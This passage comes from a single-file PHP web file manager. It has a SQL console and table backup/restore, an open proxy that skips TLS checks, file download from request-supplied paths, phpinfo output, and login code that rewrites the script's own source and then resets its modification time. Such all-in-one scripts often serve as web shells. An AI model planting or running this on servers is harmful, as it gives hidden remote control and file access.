($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '<pre>'.stripslashes($vdump).'</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'<br/>'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://'; if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://'; if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://'; return 'http://'; } function fm_site_url() { return fm_protocol().$_SERVER['HTTP_HOST']; } function fm_url($full=false) { $host=$full?fm_site_url():'.'; return $host.'/'.basename(__FILE__); } function fm_home($full=false){ return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config['enable_'.$lng.'_console']) ? ' <form method="post" action="'.fm_url().'" style="display:inline"> <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&','&',$matches[2]); $url = isset($_GET['url'])?$_GET['url']:''; $parse_url = parse_url($url); $host = $parse_url['scheme'].'://'.$parse_url['host'].'/'; if (substr($link,0,2)=='//') { $link = substr_replace($link,fm_protocol(),0,2); } elseif (substr($link,0,1)=='/') { $link = substr_replace($link,$host,0,1); } elseif (substr($link,0,2)=='./') { $link = substr_replace($link,$host,0,2); } elseif (substr($link,0,4)=='http') { //alles machen wunderschon } else { $link = $host.$link; } if ($matches[1]=='href' && !strripos($link, 'css')) { $base = fm_site_url().'/'.basename(__FILE__); $baseq = $base.'?proxy=true&url='; $link = $baseq.urlencode($link); } elseif (strripos($link, 'css')){ //как-то тоже подменять надо } return $matches[1].'="'.$link.'"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl.'_templates'}; $tpl_arr = json_decode(${$lng_tpl.'_templates'},true); $str = ''; foreach ($tpl_arr as $ktpl=>$vtpl) { $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>'; } return ' <table> <tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr> '.$str.' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr> </form> </table> '; } function find_text_in_files($dir, $mask, $text) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; if (is_dir($path)) { $results = array_merge($results, find_text_in_files($path, $mask, $text)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $text) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) { setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization'])); $_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>'.__('File manager').'</title> </head> <body> <form action="" method="post"> '.__('Login').' <input name="login" type="text"> '.__('Password').' <input name="password" type="password"> <input type="submit" value="'.__('Enter').'" class="fm_input"> </form> '.fm_lang_form($language).' </body> </html> '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_config'] = serialize($fm_config); $msg = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth = $_POST['fm_login']; } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg .= __('Error occurred'); } } // Just show image if (isset($_GET['img'])) { $file=base64_decode($_GET['img']); if ($info=getimagesize($file)){ switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file); die(); } } // Just download file if (isset($_GET['download'])) { $file=base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55"> <input type="submit" value="'.__('Show').'" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result); echo $result; die(); } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?=__('File manager')?></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,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"); } .file { background-image: url("data:image/png;base64,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